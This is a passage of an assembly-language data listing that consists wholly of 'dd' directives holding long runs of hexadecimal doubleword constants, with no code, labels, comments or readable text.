274E93E9h, 51ECD744h, 0FF049C29h, 97932A64h dd 58ABF3A7h, 162BD83Bh, 3FECB2FCh, 4A3F81CCh, 9C1C019Ch dd 3FE6FF99h, 0ED6EA2EEh, 0FDA72BC5h, 0D2BA249Dh, 0BDB76BC7h dd 352201C2h, 0A7C89ED9h, 0C15BD962h, 1008F4BDh, 0DC095F76h dd 0F47E555h, 0FF3FF3F5h, 0A0C4234Dh, 87402039h, 0C0E04B0Bh dd 8C80889Fh, 9834A87Fh, 0DE2D4704h, 2D9FDE18h, 5C8DFFDDh dd 0A00637AAh, 5D9076EAh, 1C7E9D39h, 816ECBC2h, 232073FEh dd 0FFA498h, 0C15659A0h, 0E032B71Eh, 288AA7BAh, 0E292E4AFh dd 8B911BA9h, 0C953591Ah, 0A5CACA57h, 0D4B98F6Ch, 57F041C2h dd 4DC8AB2Fh, 0D7ED0594h, 0A4801F81h, 98542D85h, 31020A5Eh dd 0F327BEF3h, 3738150Ah, 13FBD33Eh, 0FDBCC53Eh, 2E9F8B93h dd 54138B91h, 9E07067Bh, 4BA253BFh, 0F30EA3F4h, 0ACB4AACDh dd 0B81B5795h, 5BC84A25h, 63C73CE4h, 207A63BCh, 0A8AEF10h dd 0EEC8234Bh, 45169F31h, 0AD495AE5h, 3D6EF722h, 0AB576AB5h dd 81902EA3h, 0A2CCF7ADh dd 36DFBF0Bh, 0B28FEC6h, 1BA66A48h, 0F82FFA4Dh, 0EEB3045Fh dd 0FFDE494Dh, 37E061D6h, 6E42FBCh, 29AA704h, 0FD2AC887h dd 7D1F783Ah, 18293DE7h, 0CD86D2A4h, 0B2A8B848h, 46414964h dd 5E6BF7Ah, 8CF7B226h, 932B5BF8h, 5705670Eh, 4C2AAA5h dd 3C26B09Bh, 6ECF14E1h, 8DEC5AB4h, 0B527EE89h, 5D99FCF9h dd 0DA2BEC1Bh, 39B6D42Dh, 6036F3DFh, 683ECD3Ch, 962D056h dd 51902F9Ah, 2265A059h, 6CB22398h, 0E85E5980h, 783ED274h dd 115BC850h, 0B70FB5FFh, 8885C630h, 84313D6Ah, 0C241FFE0h dd 481F5761h, 0F024B191h, 50A7A2C0h, 4BB85A77h, 0E001CFA9h dd 0FCDA2080h, 0A918444h, 37563257h, 60B0C674h, 6D9F38F1h dd 3DA2726Eh, 2FC99178h, 825FA7D6h, 0D74E5010h, 0B7984DC9h dd 894AF24Fh, 0BF15E57Ah, 0FE498E55h, 582BEC49h, 72FF893Ah dd 5158DCCEh, 862679E4h, 9EBCEA80h, 0CAAA30E9h, 4403B2C6h dd 25E86830h, 2C85D1Eh, 5BC79B50h, 1FE1A590h, 3CFC7F44h dd 0F50A8B16h, 937B2041h, 0CE965376h, 0E5B5071Ah, 3D99964Fh dd 3F7749C0h, 0ECA1E8A7h, 69CDDF77h, 7F67A5Bh, 0C6D8B7C1h dd 0ED9D5DDCh, 83741C17h, 153B70A6h, 9D0CB59h, 10AD3344h dd 18A94492h, 69222877h, 0BE39B17Ah, 0F7B769F8h, 67CFF364h dd 130658DCh, 23F34DE7h, 991F60F7h, 0FBA1C022h, 0B8F0FB9Fh dd 0BB05D28Ch, 0E50DC297h, 0FB1F7760h, 4D048911h, 0A416E97Ch dd 344EDF22h, 3F0ACC16h, 1F51DC32h, 198E766h, 82C555C4h dd 0C68217ACh, 1F6C4851h, 0F3D3B2DFh, 1DA44BE2h, 0F8E92683h dd 0D24AA5B5h, 622918Bh, 3A3D24F6h, 552F46F7h, 0B8E32A10h dd 0BBA09F0h, 0E230771Dh, 416A562h, 5741457Ah, 0F7D9405Dh dd 405551F0h, 4CE278DEh, 6EBC2E9Eh, 1F825144h, 0BCB77BF5h dd 72C5AF48h, 77431A10h, 0AB196E03h, 0F6C65126h, 38546473h dd 0F800E5CAh, 7B897F70h, 0F5798B2h, 0A71CD025h, 0F54FAA52h dd 0CF1630C6h, 751EAC0Ch, 0F9DC9872h, 8C4AB46Fh, 100C088Fh dd 41FDB84Ah, 0B23CC9Ch, 756ACA8Dh, 68C28276h, 933544CDh dd 81565A92h, 0D7154D6Ah, 78B17986h, 2DB738E2h, 12F039EAh dd 0E23E62B9h, 87B421A2h, 0C7AF6BCEh, 4BD1FE6Eh, 0A94BB64Fh dd 703B02BAh, 0A8A33CE9h, 1C858E0Dh, 1CC2885Ch, 27640AD9h dd 6868444Ch, 731FDF8Dh, 102D77F6h, 185A3D29h, 0F3EFBC9Ch dd 92721373h, 2ECB73CCh, 81300147h, 0BBED83F2h, 0CE6F0698h dd 4EE05B05h, 20D25562h, 9BFCA106h, 0E013CCF5h, 5769AE54h dd 528346ECh, 2DC88C70h, 5FBF287Ah, 70E0213Ah, 1A7BB627h dd 8D149FE4h, 0D9499C77h, 4947DF2Ah, 83BE6458h, 0D8E08A4Bh dd 324F5D9Eh, 0B4E6B9F2h, 0FDD0E6B6h, 0AB319C08h, 9C868ED0h dd 9E59560Fh, 79C3B86Bh, 3801A333h, 44D41170h, 6CA1E0D8h dd 47604172h, 0D26D5C12h, 0F3469DEAh, 0FF5A9310h, 9CA9AC0h dd 15599B70h, 72B3558Fh, 18FF890Eh, 0F626A0Ah, 0DD3A5BC1h dd 0B970282Ah, 0DB699E7Bh, 66AD54A5h, 876AB798h, 93404229h dd 1F218E04h, 0EB94287Bh, 0CDA1B0F7h, 92D8D0D2h, 8CAAE7CFh dd 53B1B4A9h, 0C3C56297h, 15E40C5Eh, 0D7677918h, 86F6AAFCh dd 9B957DBEh, 1AC65EB1h, 0D47E170Dh, 0CDEB4548h, 0AE598928h dd 90346DC2h, 0CB71F529h, 5A966F3Eh, 61BBAB08h, 0A3756815h dd 9B818095h, 0FFC3A9ABh, 0D231F448h, 0C6420FF1h, 0B41EFD32h dd 66BBB2FBh, 0EDC9AC14h, 0FF2F81CCh, 0D76CC64Ch, 0AF5167D7h dd 0E68AB43h, 150C3B9Eh, 2C7B54F3h, 7EC60EF7h, 9FD81090h dd 0D810D4CBh, 0E1AB2DFDh, 94F265D0h, 0EFB249C4h, 1DC1A09Ah dd 0AE3ABA06h, 0C14EE388h, 0FC7A9151h, 8E9E1EE8h, 70D8B630h dd 0DB066CB5h, 5C6AC43Eh, 0AFCA8AE7h, 4E5F19B3h, 0D9BE2181h dd 0D380EFC7h, 0B24A5FFCh, 45716472h, 575DFF9Fh, 8FB3315h dd 0B81DF1B9h, 0CD428F52h, 5650D62Fh, 39971CDCh, 4883A43Ah dd 66979C2h, 0B7CB013h, 0C0B4A503h, 0DF17F0Eh, 0EADB1AA8h dd 38D13312h, 0D82C3D21h, 0B042BD5Ch, 0A3CA3C65h, 0D6D8E360h dd 0CF8FBFD7h, 86D77C1Dh, 32086B7h, 86A73147h, 4917B1B3h dd 0D2DDCF68h, 0A13CF14Eh, 0E67894E3h, 4412B954h, 975BFF3Eh dd 31F3B899h, 0C5F5AFABh, 35681F4Dh, 7B95FE7Eh, 1F6DECC9h dd 0B4BA7EB6h, 0F9FDEDA0h, 0F8756B1Ch, 7151E5B2h, 518EA0FAh dd 1E909F39h, 121BE745h, 68CE9D46h, 98052F33h, 0EFA57AB5h dd 0DE18084Ch, 0A5725AC2h, 6F28A596h, 773E6E82h, 5BB5B7D8h dd 245380EAh, 1FAF2C2h, 0CA657285h, 683A5A0Dh, 0AB289679h dd 6989DF48h, 0F55BCF4Dh, 60A854FEh, 0E4FE4647h, 0BA351531h dd 3C3086A0h, 0ED00C860h, 1EF2DDBh, 8CE4A285h, 0F59B243Dh dd 5FA0D359h, 4339E45Eh, 20D73632h, 0BBE70667h, 616B3061h dd 0BEF522F1h, 0DB30F1F6h, 2C81C893h, 75EE5326h, 8FE691E0h dd 0CE33667Ah, 2236336Eh, 58E106B5h, 5E6E6E8Dh, 94ADDB05h dd 8B82AEDAh, 0E57478D6h, 6F436E83h, 0F6E034A3h, 87DB1354h dd 0B7E49E1h, 39ADCAE2h, 0C08E9B43h, 9161AEh, 4A5FF273h dd 0DDBFBF9Ch, 90834D9Ch, 0B66190ECh, 0D30672F9h, 0CF6C1094h dd 4C7B59E9h, 0E95243EAh, 7D3474Dh, 53F8BC6Fh, 3349AD12h dd 8043CEA7h, 3B9D73Ah, 0E3394C8Bh, 72D6A7CFh, 1B9A6531h dd 0D8160897h, 24A546CAh, 0CBCC832Ah, 0C57CBEC6h, 0FC6D26C0h dd 29F327FBh, 92F905BEh, 0BCE5E7F2h, 87D6DB59h, 149CA791h dd 50F97A32h, 9F865C8Dh, 0CC583E5Ch, 12406E6Eh, 0B600265Eh dd 14A51601h, 452AA8EFh, 0D49EB7B0h, 0ED47CF1Eh, 0A21743D6h dd 0D8700986h, 7BA6892Dh, 0E9F15C2Dh, 0FDA87550h, 824DA56Dh dd 341632D9h, 0E9464917h, 72BA5CAEh, 0C880DBF7h, 0CE8A73C8h dd 0AC8656A5h, 5DC75D29h, 0DE88DA17h, 12397DA1h, 6232D968h dd 24739BDEh, 2F261BD9h, 0DB2DB1C7h, 85C8F778h, 2DEE8110h dd 59D89652h, 46856BDBh, 0E1325022h, 3196C0FEh, 809B45D7h dd 0F3F87A59h, 0A35E571Fh, 646120DCh, 5574C124h, 77ABB408h dd 5F6057A5h, 0D6FD254Bh, 48830262h, 0BA8EA054h, 3E72FD29h dd 9E1F1454h, 14B4575Ah, 0EF8509BAh, 4824884Dh, 0DBED4474h dd 83BF88EFh, 191A05ACh, 93AA2A16h, 0B0204D0Ah, 91BD38A8h dd 0CC245376h, 0A670F2D0h, 55FE96C9h, 0A00159E4h, 0DFE365F7h dd 4A55E8FFh, 3F2FDA6h, 0F0FEBBDEh, 0E09F8058h, 9BE8A72Eh dd 0F51CBC87h, 1D4058B9h, 0EF1E765Ch, 8194776h, 633E5B2Fh dd 2DC06506h, 5B2576B7h, 0CC083B9Dh, 0E2909121h, 0C3CBCF3Dh dd 40126B7Fh, 0ADE31492h, 0BFDCAB14h, 4649E498h, 0D5F8A3B1h dd 206235Fh, 61C59E11h, 57D44117h, 86615E82h, 98D5EFBCh dd 3F8629C0h, 10E31757h, 1F9F5674h, 513ED885h, 6E554140h dd 0EB93509Ch, 8CA9EF45h, 2788711Ah, 241C3212h, 0CA5ADAD0h dd 124310FAh, 0B04843AFh, 0F363C234h, 0B9E4A201h, 0B6EC158Ah dd 19668FF7h, 0EAEAC0F6h, 0B730CCE0h, 0F4744E81h, 4C3C91ACh dd 1E0B2411h, 53034388h, 2E4D0D2Dh, 56CC8C37h, 0DF4DACAh dd 25C6A38Ah, 0A3AB7F2Ah, 9239ED8Ah, 23DF27DEh, 0C63EE03Ah dd 6C290A75h, 0AC41D33Eh, 12E3C250h, 0CED80367h, 0E22C12B3h dd 0A64F24AAh, 0E2AD48FFh, 129BACB6h, 9BF85A85h, 394C3A3Fh dd 5B0D635Dh, 0C825CBAEh, 6CDF5135h, 2ACD28D0h, 0EFA1F628h dd 0F9C83EEEh, 0AE4FC0B9h, 0D154830h, 0ACE9CA8Dh, 0E8E78B43h dd 92B86AF3h, 0FA61E521h dd 0CFFB31EDh, 7896FCC6h, 0CC8BEE5Bh, 0C8C5C953h, 394B4135h dd 68CAD037h, 0C90F3AB2h, 0F4E4AC01h, 2ED1CD7Ah, 9B8ECAE2h dd 603D9577h, 0B293D808h, 6865EB61h, 0F8D33BF2h, 2DA5F2BEh dd 5843BE50h, 0D3B30B94h, 0E5971797h, 0F2FB4E9Ch, 2A102651h dd 832BD659h, 23C5647Fh, 17D862Eh, 9431AB5h, 0A7801D64h dd 4892C2B8h, 6216262Dh, 0E36121C8h, 19899680h, 0F205EF8Eh dd 82BD94E8h, 0EF7BF51h, 3A2F9CF4h, 0D8A41779h, 1196C949h dd 0BFC164DFh, 9475C3F1h, 0EED5F40Ah, 13BF6258h, 0F27A03A0h dd 3B1FE700h, 5D7A667Ah, 0E046D94Dh, 726CDF78h, 7805F1B7h dd 7EF3F7AAh, 0F7D381B0h, 0D9584832h, 647ABEC5h, 797DA700h dd 6B022DF2h, 0ACCE5623h, 46AFFD6Dh, 0CA541F75h, 350A04D0h dd 28179FA2h, 7E8149CBh, 508242D8h, 92578DADh, 35F8CF12h dd 883F71B1h, 564D6F2h, 9A185A85h, 54D496E3h, 0D6171217h dd 0FB572330h, 0B24CEF60h, 21820ED8h, 13523290h, 779618ECh dd 6B553D2Dh, 0B5B7D56Ah, 7383B927h, 0B4FC600h, 0F5D55079h dd 9E8C2935h, 0E6C9B0DCh, 2B23E16Ah, 6838CB35h, 0AA97B224h dd 0E97C01EDh, 0E8D4185Bh, 186F8F5Bh, 0A9E8960Fh, 776D37C7h dd 0EA01BA48h, 6DEC0AB7h, 281F2145h, 0A3B2AE1Fh, 8C3D6516h dd 21BA43A9h, 0DF840C03h, 0AA99291Ch, 562DF6E4h, 0AD1B5A7Ah dd 934141ABh, 684E4414h, 91859DFEh, 0F7CACBC9h, 1F583994h dd 0F757C7EBh, 54B81567h, 0E430228Bh, 96134D76h, 0E88F4987h dd 23EF9135h, 76CCD758h, 0AA82C7FDh, 0C78993BFh, 78AA5CB4h dd 863AE92Eh, 0FD4973BDh, 0A6D9EFDBh, 6F4EC826h, 358B005Eh dd 76369F00h, 0C24B0693h, 7932F7BDh, 238C009Fh, 0E5360121h dd 73F66631h, 32A5E566h, 0E05E7DCFh, 0A3B73DFEh, 9A9543F3h dd 30402DCDh, 6C7C4185h, 4C4A842h, 867A5FF6h, 9A501F95h dd 37977488h, 0D6DFD686h, 16909434h, 0D7AD6B2Eh, 0CCCA6587h dd 33831D16h, 24ED615Fh, 654A910Bh, 7AA7F447h, 38A35022h dd 0F4976FC4h, 348516BCh, 0D89CF65Ch, 0DB8A260Eh, 6B33ED61h dd 9E16E742h, 2DDDFE02h, 689CDD9Bh, 39EDC030h, 37865BB3h dd 22FC00A3h, 61B63A4h, 0FCA73EFFh, 0E6F33164h, 849D03D6h dd 0ED4452FDh, 69467C6Fh, 311C7161h, 0DF010711h, 0D270F1CFh dd 74408C69h, 660DF8D5h, 3E5A9BDh, 7673006Ah, 24B65671h dd 96508BDCh, 9C59D2AEh, 0B40C377h, 7D4A0289h, 0D4A9D935h dd 0E5D7A3F7h, 0E5D0260Ah, 0E0782E5Bh, 28288FCAh, 2C6B3F56h dd 0B0901BDh, 0B78A9Eh, 39615AD4h, 7BB0696Dh, 0B709C632h dd 0B6F2219Ah, 6AC4BCECh, 0BD6860DFh, 0A87BEED0h, 84FB31h dd 0ECB91939h, 0E3D6BA65h, 88CC42ACh, 83D72BEAh, 8CED3445h dd 292FF36h, 0E58F761Ah, 0E48EE4F7h, 0A28D752Eh, 0C8B8F406h dd 0E6AAF4EFh, 0AAE40406h, 8640CFC5h, 0CDF530Eh, 15413C86h dd 373EE572h, 0BD4C7BE5h, 0CB5F5225h, 1377CBF8h, 0DC93F7DBh dd 0B4724985h, 6D3854C4h, 683B073Ch, 895A7BE7h, 3A12FB08h dd 9C3A2063h, 0A2E37CD3h, 0D3AF4539h, 1E13A9A8h, 5A599F66h dd 0E5067504h, 0E4853115h, 0B12781D0h, 471A5330h, 5A7AB72Eh dd 20F9D45Ch, 0C7BA595h, 0DB60F483h, 0C03915B3h, 53EC01C5h dd 283C7E1Eh, 1B774C7h, 7AA3B860h, 0B985FDABh, 0E2E4BC9Bh dd 26EFC503h, 0BB3C4C4Ch, 0D560B35Dh, 3D0D13FCh, 0EAE77930h dd 79D89A50h, 0AB7AC1Bh, 9AA349Bh, 1C46AAC5h, 3DC8A33Ch dd 2783047h, 0D29E9594h, 0DB92055Bh, 0F8A231DCh, 0B83A2ABEh dd 60CD50D1h, 2979346Ah, 738EA8E1h, 0EA42AA32h, 7D1BD594h dd 993AB859h, 0E120314Ah, 1CCBF171h, 0F9CD93A5h, 0FF472E2h dd 771B7784h, 87B79C76h, 10BE092Ah, 241B51A3h, 84FC3425h dd 108F769Bh, 2154253Ch, 0E9FF1615h, 52734C9Bh, 16666691h dd 0A6726BA3h, 6A0DF8B5h, 0E2D03BDFh, 484FDEAFh, 10036A58h dd 4BC1627Eh, 4FF042ADh, 36A4A142h, 0CD1D8650h, 417C226Bh dd 0D6F2D401h, 6037B136h, 659BB77Ch, 0D87D5CE3h, 6BEA874Bh dd 7BE3B4E0h, 57C65AA8h, 0A132AD31h, 7655F6Dh, 908F0B34h dd 140470B6h, 79C249C4h, 0AC37825Fh, 228F4876h, 20E80B5Bh dd 0D28D43D0h, 0A406AEC1h, 0F1956681h, 36102BEFh, 0D722FA33h dd 0A4E4D1C2h, 0B15E52BEh, 708E015h, 0D2114F61h, 0FCB11C30h dd 0B64BE6F5h, 20C9AE8Eh, 6F88FBC2h, 8ABE7C69h, 0D31B3E47h dd 5CE61659h, 11F239DDh, 3D966307h, 615A88BDh, 9D8061F4h dd 2B8266BEh, 0E8BFE78h, 787CB050h, 578E7282h, 0FAC124CDh dd 0C48C5C7Eh, 0FDFAFA00h, 0E2CD8F13h, 0F8C8EA16h, 9E2D2431h dd 0AF1EF778h, 25B08D9Fh, 9B3CE136h, 0CF4B2F6Fh, 2CE808ECh dd 697ECC82h, 0B9D19B2Fh, 8E5A901Ch, 89F33A84h, 0CF5442CFh dd 0FDBAFA41h, 5A3002Eh, 57E4A1CAh, 7663863Fh, 4FB34F5Ah dd 772EB6A8h, 5A7F1DD0h, 0FBEC7FF7h, 0CDBC253Bh, 9AD6C857h dd 0B6FB0B4h, 24B666A0h, 6D5F0D6Bh, 0E58078D3h, 4E696896h dd 863DD1E3h, 3873BFFEh, 55A8D785h, 0C56C74B7h, 8C61032Ah dd 0DA4EED04h, 8F1ED8AEh, 0FAEB9023h, 0E549E4CBh, 57E97120h dd 668F54C3h, 7FBA1BA0h, 73D53E49h, 80D5BDB0h, 0F571EDF7h dd 1F41A756h, 0CACDF68Ch, 739BC0B0h, 5B7F4CF4h, 7492C625h dd 0EF5D7B54h, 1E43D2A6h, 1AF20D4Fh, 8B6795Ah, 2D332956h dd 0A956A33Bh, 636E5B08h, 175FEF4Dh, 0E0722AB7h, 590A1DE6h dd 6ED59D0Bh, 3200E284h, 0E4B307B8h, 0ADA55E85h, 1B9A2C7Bh dd 0C670E6A0h, 0BA1D2F1Ah, 87203B3Eh, 44B4A163h, 423223FCh dd 1E1F77Ah, 0E63C6778h, 1993580Bh, 0C12FEBA5h, 4D6C6457h dd 271F3E9Fh, 65ACB415h, 0C8FAAF8Dh, 0C2174D99h, 15444829h dd 0AEA66BF0h, 0E3EAFB0Fh, 290CDCE0h, 9195AD2Bh, 9E869530h dd 0B3E79CCBh, 8FC91C7Dh, 0FD2B867Ah, 64F884CFh, 0C701AE2Ah dd 0AB3ABD0Eh, 0AD8A5E7Bh, 7C270796h, 6390A46h, 8FCF5B5Eh dd 0AF95C405h, 6DECB3DAh, 8B0FBEB6h, 0E0CDD09Dh, 7977D463h dd 1AC4832h, 0B8D6CD3h, 63B2647Ch, 0A813A033h, 0E0A1EFF5h dd 0B21A0F1h, 0DF8E0113h, 36678421h, 1340C158h, 0A3A14AB9h dd 0B25660ACh, 4C6929DDh, 2C39EE6h, 310C83DBh, 3E7DB8h dd 723F7C46h, 0A4C28585h, 6610D6B8h, 71A35B06h, 2CBF6EE8h dd 96CE862Eh, 0B82C52D6h, 0D37A4792h, 9354E517h, 2885C810h dd 8B036CD7h, 0C4DA12FFh, 0EC0DCBA1h, 0AA445D21h, 86E63674h dd 75360434h, 0E57EEC25h, 7F9CC923h, 660F39DCh, 8B1EEDAh dd 7BC074C9h, 3E49BF80h, 258FEBE1h, 0AEC83DB2h, 173657E4h dd 6DD73FCh, 7ED6C4DEh, 6B3F2E22h, 13F878E0h, 2AE13994h dd 18A119EBh, 5FA43554h, 0EF638885h, 9D4A27DEh, 443303FFh dd 832E9BB8h, 4F3047C5h, 0A045C24Ah, 23972BF5h, 7E9F9370h dd 98F3A9FBh, 70862A11h, 0DE26092Eh, 37C2AB30h, 0C156663Ah dd 9FC8CC20h, 5A27E2FCh, 6BFC2DD1h, 4F1A7FE3h, 0B2AF7E15h dd 0D81E631h, 2374EF9Fh, 178D71ABh, 0F51B633Bh, 0C3335F5Dh dd 2204ED17h, 70C3BFF4h, 36538093h, 0EAA01F42h, 2B3FDB92h dd 5C15C2BCh, 7633792Bh, 3CF75178h, 9EF984FFh, 1A1F1B33h dd 33C44E32h, 236F93DEh, 496A7Ah, 7455C956h, 68C1AD1Ch dd 4B480B80h, 0CD19E662h, 1E0A9EADh, 8B099698h, 0A4F8AD9Eh dd 6F2E2CDh, 0E050A3A1h, 0DC1D29E5h, 14132BA6h, 0F5918EA1h dd 0AFBD8E26h, 0D591DDD0h dd 83256AD3h, 0E4AA684Dh, 26699FD7h, 0BF549B1Ch, 0E8BA5C8Ch dd 8F30A757h, 2D2C4FB6h, 9758DF5Bh, 0CE675F0h, 73A9D70Ch dd 0A7D91F2Fh, 0BFE770CAh, 55007A26h, 8ECB5AFh, 16570E9Eh dd 2CA0D5BDh, 0EC12D99Eh, 0C2C3BEF2h, 4955A36Fh, 4F82A10Eh dd 0F28C5EBDh, 505CBD4h, 168F138Fh, 93AB6724h, 92D72450h dd 3A42B8AAh, 0A7200823h, 2E3B0D45h, 0DC02CE92h, 0D411DC58h dd 0C0E7CB41h, 0ECB7E699h, 735DC917h, 569203B5h, 55EF5D53h dd 0DCCC96CBh, 0C170151Ah, 310F7DBBh, 0B8B9719Fh, 1E322238h dd 78689ADAh, 0DC14846Ch, 0C08B6366h, 453D7DE0h, 405B214Bh dd 0F6FA35D5h, 3664926Fh, 4F992B4Eh, 0BEA87F40h, 69A71Bh dd 1D370872h, 7010226h, 0D5337694h, 22F9A8C5h, 128E8E92h dd 0B0B1976Bh, 9B7E484Ch, 0C0668217h, 2DA9ABh, 0BFB97BE6h dd 0C4EBA683h, 0EFFE8EF0h, 0A2C1FE89h, 570D8A4Ah, 0F56C614Ah dd 997ECFCFh, 4BA1B50Ch, 67E8CF3Eh, 400F6557h, 8DA174EEh dd 0B1FABF92h, 4937DCCDh, 165EE1D4h, 0DDE71211h, 35D94483h dd 0F9072C8Ch, 20EC07FCh, 6D21E574h, 530D5892h, 2B6DF653h dd 0F5AECCAEh, 0B599B04Dh, 1A171B01h, 875EF5FEh, 0A01027AAh dd 0DCD4EF4Dh, 0AF3CD03Fh, 46A0F7Ch, 0EB892B86h, 4E0E54D8h dd 54DE57E3h, 7062D427h, 66C1CF7h, 5103A1D1h, 0A6B523E6h dd 0B290BD65h, 66AB2242h, 1FF6B7C1h, 372C963Ch, 4EDF8D2Ch dd 4B1D9805h, 0CAF881BCh, 838F033Eh, 0DA72F212h, 0AD449D81h dd 71544BB2h, 48A1E26Ah, 3C9107CCh, 0A33EDC9Bh, 0FCEC7B6Bh dd 0CF48BE9Fh, 2FFFDEBAh, 0A27B2CAAh, 6AED0BDBh, 5BC61A14h dd 64486B55h, 3EC100E9h, 0EDFA7A5Bh, 31CC100Ah, 2AA5F5C2h dd 409DF3DFh, 0CBC4A237h, 397144ACh, 2E7B07D1h, 12F852AEh dd 30EA2889h, 5519DDD9h, 22A741E3h, 53998EA3h, 1BFD3E3Bh dd 5F03B329h, 0F693092Eh, 0E3C4656Dh, 39C8DEDh, 0E58873A2h dd 0B843D060h, 6EA465B4h, 7B1CC7D2h, 71768F26h, 0AC91BFh dd 0FBC0EE15h, 0CA4BE88h, 0E74DC25Ch, 0C0333859h, 1BA396B8h dd 0B45755D3h, 0D3FF92B0h, 89BF1D64h, 820D66A5h, 9C1202A0h dd 37AD0840h, 9B7A91C0h, 44D45BC3h, 7AC32984h, 2ADB86FCh dd 0AE65F58Ch, 0ECC3331Bh, 64331B87h, 5D36B34Dh, 88C7093Ch dd 0BB690A81h, 562B1347h, 2E8424A7h, 7B6E3DCBh, 35F16045h dd 4A32C597h, 3E99074h, 1CCF8A0Ch, 0FA95D004h, 0BCA5BFB6h dd 25B6396Bh, 0F89E91D8h, 0DAE4480Ch, 0F9EE17CFh, 0BE7CC97Eh dd 0BEBDAAEDh, 9BC7A28Ah, 0EBE40FB6h, 84DFEFCBh, 0F8A5CF0Ah dd 0B96E91Eh, 0FFFA4972h, 0C25776C9h, 0E027D1C0h, 0E50F358h dd 5CE016A6h, 6E8CD3E3h, 0F79B6C56h, 31A807D6h, 5AE2682h dd 4B4949Eh, 20A3F69Ch, 0E9A74389h, 63CB4D6Ah, 16CDDA9Eh dd 4714C353h, 779938FAh, 0C3FEED53h, 0EAB48ED2h, 712B1789h dd 0AAFBAD1h, 0BE51EE0Fh, 178087E1h, 51C6267Fh, 1E6D2B18h dd 0CBA1FEC1h, 36A21CFCh, 30A74161h, 0D993A599h, 0A91970D7h dd 0FD04B0E4h, 82885CB8h, 453D3C6Dh, 5DBE81D6h, 864B9473h dd 0D70CE06Dh, 0BB21A3E0h, 0AA9CF2A9h, 74DD9930h, 77ACB6FDh dd 0AC01721h, 3E6300D6h, 0C0214233h, 89FD8A2Bh, 0A68E65A7h dd 0E3316A7Ah, 0A94B22E7h, 257465C2h, 4E965F6Ch, 0DE9BFF00h dd 2FF91923h, 7E00DAF1h, 442E4AA9h, 0E2A24CA6h, 0EC521BF6h dd 5C52C53Fh, 0C876529Bh, 5A515A76h, 72C120A6h, 0ADDFD07Fh dd 6D6E03Ch, 0A7C0BDCBh, 982906F7h, 0D264FC96h, 68734EA7h dd 6DCD32C8h, 1D9A7DA0h, 16466B56h, 40BCFCC6h, 0A1C2098Ch dd 921A6906h, 7201DC17h, 48B46004h, 0A290988Ah, 0ABC0338Ah dd 0AE566084h, 9A5D904Eh, 98400325h, 0AF4B99C4h, 0B774E7EEh dd 6F56867Fh, 0ADD49CC9h, 5A470854h, 71BA0252h, 0C4A6611Eh dd 0C5894D79h, 2BF5C03Eh, 0B4F90FD4h, 6B88A251h, 0E1DC97Ah dd 260F0C1Ah, 829401DEh, 29203553h, 0CD87D223h, 0E7F99803h dd 3D7E01A4h, 0C2189AD5h, 11088775h, 80F8CFB6h, 0B5101F78h dd 0C00ACAFh, 0D02573BEh, 0F764F654h, 39D1E0A5h, 0EEA57D5Bh dd 5FA8CD11h, 236B1374h, 0B314913Ah, 0AF0A5CCFh, 0CD3097F8h dd 0FC5D882Ah, 0B817678Ah, 5694109Ah, 3A30BA30h, 403EA756h dd 0E69F104Ch, 0CBB7DF0h, 31B3B3E1h, 2F35B7A6h, 333D187Fh dd 8E6CF03Fh, 7D1E63B6h, 844EA866h, 75411939h, 1E949A11h dd 0BE14B041h, 0D9717366h, 339BA269h, 3C6CAA9Dh, 0B020DF6Fh dd 4BB69794h, 78534BAAh, 0A610DBD3h, 28E562FCh, 47DCF72h dd 0D5F51E4Ch, 0F9E6051Ch, 9BAADE2Ch, 8C1A6710h, 3A4534D3h dd 0EDBF2030h, 97AD3740h, 7972A2BEh, 9F927CFCh, 21EF6EADh dd 9D0AB8E2h, 1F6BFFB8h, 7224277h, 46E9DABh, 0EF04FEA5h dd 81B3AF3Ch, 0BE86F71Ah, 38F33F33h, 7E0B656Bh, 833812F8h dd 0A37151C8h, 0D48DA4D1h, 3838BFD4h, 0C8D1E51Fh, 8EB0748Ah dd 0DD7E9B1Bh, 9A105182h, 30824B13h, 0F8DDC77Fh, 6A2EB8DBh dd 500B98B4h, 0FE35B92Dh, 0A144C382h, 2117686Fh, 4FF6A2F4h dd 0A534E307h, 98F0920Ch, 294750C5h, 12136D4Bh, 1855EA24h dd 0EDEFAB4Bh, 325315F2h, 7CC32870h, 481ADEC0h, 0A69A04F3h dd 8263790Dh, 2185013h, 0F0F2FF7Fh, 13022C65h, 65D7F52h dd 0AE993913h, 0DB5DF020h, 11572A44h, 7C1A965Dh, 98905254h dd 6C20E6DDh, 5BFFBF27h, 0EC8D843Ah, 8A5E5764h, 0D35461F0h dd 9D1CEEAh, 7BFEE694h, 47860060h, 0FF132FB6h, 0E10469F6h dd 8731492Ch, 69593A3Bh, 0F18F1BD2h, 0AC76215Fh, 2E978926h dd 9B21834h, 731AC094h, 5BAB6246h, 5A929CBCh, 8079998Ch dd 8A5DA3C7h, 4622E23Dh, 0A5B3A02Dh, 16D4C9BBh, 402FCA80h dd 0EF95E39Eh, 9E6B930Ah, 0EE5C2600h, 0E766C045h, 4EAD6464h dd 0D4EC9D82h, 0ECB1FCAEh, 1DFDBD68h, 0A7A182FEh, 11AB3DC8h dd 972FE891h, 6B248EE3h, 3358A786h, 3F337461h, 620CCBD6h dd 84FD0FBh, 6FD5A161h, 4CA40540h, 0E28479D4h, 994D0EE6h dd 0DB9A5B62h, 0F25D89F9h, 984E7F07h, 30AD66FDh, 0BD4472C7h dd 4F79E7DAh, 413D7C17h, 54864C5Ch, 0C2D53D60h, 8B57CA40h dd 83E7143h, 3993CA32h, 20EB9BBBh, 0E322BAD6h, 9F4D7DA0h dd 4FCA0F84h, 1F88B859h, 0B24D93B4h, 63485619h, 85FDB778h dd 0E535C381h, 0BC27E688h, 0CE1ADB1Fh, 0F21A8444h, 0EE6ED63h dd 75E25118h, 4DAFFBC8h, 163803B3h, 3F457802h, 2F06B8D3h dd 68A55845h, 2D4F8DFAh, 2CA8CC24h, 8CCAB801h, 0C7481DAEh dd 4B53C091h, 4B603B55h, 78810078h, 6E36F44Dh, 8D1A9C4Ch dd 7BEB0495h, 6350442Dh, 231B5572h, 2A408CAh, 11707DAEh dd 7D12E133h, 25BF46C4h, 992EB261h, 2F6248B3h, 678F435h dd 5160A98Dh, 91308442h, 0F96D960Eh, 0ABEF8317h, 817BB379h dd 4D623F3Dh, 0CCB00533h, 972C4637h, 57F43404h, 34EB3EF9h dd 0D24E2657h, 0EFC56743h, 15FCC901h, 7320C604h, 4D322E71h dd 0D2E9E0A3h, 6432367Eh, 0B85AF007h, 87D56AF1h, 0D11AA8F8h dd 4A8527BDh, 0B0AF23ABh, 0F05115C3h, 